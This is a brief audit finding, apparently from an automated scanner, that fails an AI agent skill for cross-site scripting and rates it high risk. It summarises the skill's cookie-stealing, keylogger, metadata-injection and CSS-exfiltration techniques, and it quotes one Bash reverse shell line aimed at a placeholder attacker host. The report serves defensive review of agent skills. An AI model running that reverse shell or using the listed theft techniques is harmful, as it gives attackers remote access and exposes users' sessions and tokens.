xss-cross-site-scripting
Fail
Audited by Gen Agent Trust Hub on Apr 10, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The file
SKILL.mdcontains functional exploit code for a WordPress-to-RCE chain, including a Bash reverse shell payload:bash -i >& /dev/tcp/ATTACKER/4444 0>&1. - [DATA_EXFILTRATION]: The skill provides scripts for stealing session cookies and implementing keyloggers that send captured data to remote attacker-controlled servers using the
fetchandXMLHttpRequestAPIs. - [COMMAND_EXECUTION]: The skill instructs on the use of the
exiftoolCLI to perform metadata injection by embedding malicious payloads into image files. - [DATA_EXFILTRATION]: In
SCENARIOS.md, the skill describes CSS injection techniques to exfiltrate sensitive information like CSRF tokens via attribute selectors and font-face side channels.
Recommendations
- AI detected serious security threats
Audit Metadata